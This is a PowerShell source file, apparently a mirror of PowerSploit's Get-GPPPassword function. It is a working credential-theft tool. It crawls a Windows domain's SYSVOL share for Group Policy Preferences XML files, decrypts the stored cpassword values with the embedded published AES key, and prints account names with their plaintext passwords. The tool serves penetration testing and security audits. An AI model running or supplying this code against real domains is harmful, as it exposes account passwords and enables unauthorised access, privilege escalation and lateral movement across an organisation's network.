mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
138 lines
5.1 KiB
PowerShell
138 lines
5.1 KiB
PowerShell
function Get-GPPPassword {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
|
|
|
PowerSploit Function: Get-GPPPassword
|
|
Author: Chris Campbell (@obscuresec)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-GPPPassword
|
|
|
|
.LINK
|
|
|
|
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
|
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
|
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
|
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
Param ()
|
|
|
|
#define helper function that decodes and decrypts password
|
|
function Get-DecryptedCpassword {
|
|
Param (
|
|
[string] $Cpassword
|
|
)
|
|
|
|
try {
|
|
#Append appropriate padding based on string length
|
|
$Mod = ($Cpassword.length % 4)
|
|
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
|
|
|
|
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
|
|
|
#Create a new AES .NET Crypto Object
|
|
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
|
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
|
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
|
|
|
#Set IV to all nulls to prevent dynamic generation of IV value
|
|
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
|
$AesObject.IV = $AesIV
|
|
$AesObject.Key = $AesKey
|
|
$DecryptorObject = $AesObject.CreateDecryptor()
|
|
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
|
|
|
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
|
}
|
|
|
|
catch {Write-Error $Error[0]}
|
|
}
|
|
|
|
#ensure that machine is domain joined and script is running as a domain account
|
|
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
|
|
{
|
|
throw 'Machine is not joined to a domain.'
|
|
}
|
|
|
|
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
|
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
|
|
|
|
if ( -not $XMlFiles )
|
|
{
|
|
throw 'No files containing encrypted passwords found.'
|
|
}
|
|
|
|
foreach ($File in $XMLFiles) {
|
|
|
|
try {
|
|
$Filename = $File.Name
|
|
$Filepath = $File.VersionInfo.FileName
|
|
|
|
#put filename in $XmlFile
|
|
[xml] $Xml = Get-Content ($File)
|
|
|
|
#declare blank variables
|
|
$Cpassword = ''
|
|
$UserName = ''
|
|
$NewName = ''
|
|
$Changed = ''
|
|
|
|
switch ($Filename) {
|
|
|
|
'Groups.xml' {
|
|
$Cpassword = $Xml.Groups.User.Properties.cpassword
|
|
$UserName = $Xml.Groups.User.Properties.userName
|
|
$NewName = $Xml.Groups.User.Properties.newName
|
|
$Changed = $Xml.Groups.User.changed
|
|
}
|
|
|
|
'Services.xml' {
|
|
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
|
|
$UserName = $Xml.NTServices.NTService.Properties.accountName
|
|
$Changed = $Xml.NTServices.NTService.changed
|
|
}
|
|
|
|
'Scheduledtasks.xml' {
|
|
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
|
|
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
|
|
$Changed = $Xml.ScheduledTasks.Task.changed
|
|
}
|
|
|
|
'DataSources.xml' {
|
|
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
|
|
$UserName = $Xml.DataSources.DataSource.Properties.username
|
|
$Changed = $Xml.DataSources.DataSource.changed
|
|
}
|
|
}
|
|
|
|
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
|
|
|
|
else {Write-Verbose "No encrypted passwords found in $Filepath"}
|
|
|
|
#Create custom object to output results
|
|
$ObjectProperties = @{'Password' = $Password;
|
|
'UserName' = $UserName;
|
|
'Changed' = $Changed;
|
|
'NewName' = $NewName
|
|
'File' = $Filepath}
|
|
|
|
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
|
Write-Output $ResultsObject
|
|
}
|
|
|
|
catch {Write-Error $Error[0]}
|
|
}
|
|
}
|